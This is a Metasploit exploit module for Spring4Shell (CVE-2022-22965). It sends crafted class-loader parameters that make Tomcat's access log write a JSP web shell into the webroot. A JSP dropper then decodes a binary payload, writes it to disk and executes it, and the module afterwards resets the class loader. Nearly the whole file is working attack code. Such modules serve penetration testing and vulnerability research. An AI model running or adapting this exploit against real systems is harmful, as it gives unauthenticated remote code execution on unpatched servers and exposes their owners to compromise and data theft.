## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # It's going to manipulate the Class Loader prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::EXE def initialize(info = {}) super( update_info( info, 'Name' => 'Spring Framework Class property RCE (Spring4Shell)', 'Description' => %q{ Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions when running on JDK 9 or above and specifically packaged as a traditional WAR and deployed in a standalone Tomcat instance are vulnerable to remote code execution due to an unsafe data binding used to populate an object from request parameters to set a Tomcat specific ClassLoader. By crafting a request to the application and referencing the org.apache.catalina.valves.AccessLogValve class through the classLoader with parameters such as the following: class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp, an unauthenticated attacker can gain remote code execution. }, 'Author' => [ 'vleminator ' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2022-22965'], ['URL', 'https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement'], ['URL', 'https://github.com/spring-projects/spring-framework/issues/28261'], ['URL', 'https://tanzu.vmware.com/security/cve-2022-22965'] ], 'Platform' => %w[linux win], 'Payload' => { 'Space' => 5000, 'DisableNops' => true }, 'Targets' => [ [ 'Java', { 'Arch' => ARCH_JAVA, 'Platform' => %w[linux win] }, ], [ 'Linux', { 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'linux' } ], [ 'Windows', { 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'win' } ] ], 'DisclosureDate' => '2022-03-31', 'DefaultTarget' => 0, 'Notes' => { 'AKA' => ['Spring4Shell', 'SpringShell'], 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'The path to the application action', '/app/example/HelloWorld.action']), OptString.new('PAYLOAD_PATH', [true, 'Path to write the payload', 'webapps/ROOT']), OptEnum.new('HTTP_METHOD', [false, 'HTTP method to use', 'Automatic', ['Automatic', 'GET', 'POST']]), ] ) register_advanced_options [ OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def jsp_dropper(file, exe) # The sun.misc.BASE64Decoder.decodeBuffer API is no longer available in Java 9. dropper = <<~EOS <%@ page import=\"java.io.FileOutputStream\" %> <%@ page import=\"java.util.Base64\" %> <%@ page import=\"java.io.File\" %> <% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); oFile.write(Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(exe)}\")); oFile.flush(); oFile.close(); File f = new File(\"#{file}\"); f.setExecutable(true); Runtime.getRuntime().exec(\"#{file}\"); %> EOS dropper end def modify_class_loader(method, opts) cl_prefix = 'class.module.classLoader' send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s), 'version' => '1.1', 'method' => method, 'headers' => { 'c1' => '<%', # %{c1}i replacement in payload 'c2' => '%>' # %{c2}i replacement in payload }, "vars_#{method == 'GET' ? 'get' : 'post'}" => { "#{cl_prefix}.resources.context.parent.pipeline.first.pattern" => opts[:payload], "#{cl_prefix}.resources.context.parent.pipeline.first.directory" => opts[:directory], "#{cl_prefix}.resources.context.parent.pipeline.first.prefix" => opts[:prefix], "#{cl_prefix}.resources.context.parent.pipeline.first.suffix" => opts[:suffix], "#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format] } }) end def check_log_file print_status("#{peer} - Waiting for the server to flush the logfile") print_status("#{peer} - Executing JSP payload at #{full_uri(@jsp_file)}") succeeded = retry_until_true(timeout: 60) do res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(@jsp_file) }) res&.code == 200 && !res.body.blank? end fail_with(Failure::UnexpectedReply, "Seems the payload hasn't been written") unless succeeded print_good("#{peer} - Log file flushed") end # Fix the JSP payload to make it valid once is dropped # to the log file def fix(jsp) output = '' jsp.each_line do |l| if l =~ /<%.*%>/ output << l elsif l =~ /<%/ next elsif l =~ /%>/ next elsif l.chomp.empty? next else output << "<% #{l.chomp} %>" end end output end def create_jsp jsp = <<~EOS <% File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{@jsp_file}"); jsp.delete(); %> #{Faker::Internet.uuid} EOS if target['Arch'] == ARCH_JAVA jsp << fix(payload.encoded) else payload_exe = generate_payload_exe payload_filename = rand_text_alphanumeric(rand(4..7)) if target['Platform'] == 'win' payload_path = datastore['WritableDir'] + '\\' + payload_filename else payload_path = datastore['WritableDir'] + '/' + payload_filename end jsp << jsp_dropper(payload_path, payload_exe) register_files_for_cleanup(payload_path) end jsp end def check @checkcode = _check end def _check res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(Rex::Text.rand_text_alpha_lower(4..6)) ) return CheckCode::Unknown('Web server seems unresponsive') unless res if res.headers.key?('Server') res.headers['Server'].match(%r{(.*)/([\d|.]+)$}) else res.body.match(%r{Apache\s(.*)/([\d|.]+)}) end server = Regexp.last_match(1) || nil version = Rex::Version.new(Regexp.last_match(2)) || nil return Exploit::CheckCode::Safe('Application does not seem to be running under Tomcat') unless server && server.match(/Tomcat/) vprint_status("Detected #{server} #{version} running") if datastore['HTTP_METHOD'] == 'Automatic' # prefer POST over get to keep the vars out of the query string if possible methods = %w[POST GET] else methods = [ datastore['HTTP_METHOD'] ] end methods.each do |method| vars = "vars_#{method == 'GET' ? 'get' : 'post'}" res = send_request_cgi( 'method' => method, 'uri' => normalize_uri(datastore['TARGETURI']), vars => { 'class.module.classLoader.DefaultAssertionStatus' => Rex::Text.rand_text_alpha_lower(4..6) } ) # setting the default assertion status to a valid status send_request_cgi( 'method' => method, 'uri' => normalize_uri(datastore['TARGETURI']), vars => { 'class.module.classLoader.DefaultAssertionStatus' => 'true' } ) return Exploit::CheckCode::Appears(details: { method: method }) if res.code == 400 end Exploit::CheckCode::Safe end def exploit prefix_jsp = rand_text_alphanumeric(rand(3..5)) date_format = rand_text_numeric(rand(1..4)) @jsp_file = prefix_jsp + date_format + '.jsp' http_method = datastore['HTTP_METHOD'] if http_method == 'Automatic' # if the check was skipped but we need to automatically identify the method, we have to run it here @checkcode = check if @checkcode.nil? http_method = @checkcode.details[:method] fail_with(Failure::BadConfig, 'Failed to automatically identify the HTTP method') if http_method.blank? print_good("Automatically identified HTTP method: #{http_method}") end # if the check method ran automatically, add a short delay before continuing with exploitation sleep(5) if @checkcode # Prepare the JSP print_status("#{peer} - Generating JSP...") # rubocop:disable Style/FormatStringToken jsp = create_jsp.gsub('<%', '%{c1}i').gsub('%>', '%{c2}i') # rubocop:enable Style/FormatStringToken # Modify the Class Loader print_status("#{peer} - Modifying Class Loader...") properties = { payload: jsp, directory: datastore['PAYLOAD_PATH'], prefix: prefix_jsp, suffix: '.jsp', file_date_format: date_format } res = modify_class_loader(http_method, properties) unless res fail_with(Failure::TimeoutExpired, "#{peer} - No answer") end # No matter what happened, try to 'restore' the Class Loader properties = { payload: '', directory: '', prefix: '', suffix: '', file_date_format: '' } modify_class_loader(http_method, properties) check_log_file handler end # Retry the block until it returns a truthy value. Each iteration attempt will # be performed with expoential backoff. If the timeout period surpasses, false is returned. def retry_until_true(timeout:) start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC, :second) ending_time = start_time + timeout retry_count = 0 while Process.clock_gettime(Process::CLOCK_MONOTONIC, :second) < ending_time result = yield return result if result retry_count += 1 remaining_time_budget = ending_time - Process.clock_gettime(Process::CLOCK_MONOTONIC, :second) break if remaining_time_budget <= 0 delay = 2**retry_count if delay >= remaining_time_budget delay = remaining_time_budget vprint_status("Final attempt. Sleeping for the remaining #{delay} seconds out of total timeout #{timeout}") else vprint_status("Sleeping for #{delay} seconds before attempting again") end sleep delay end false end end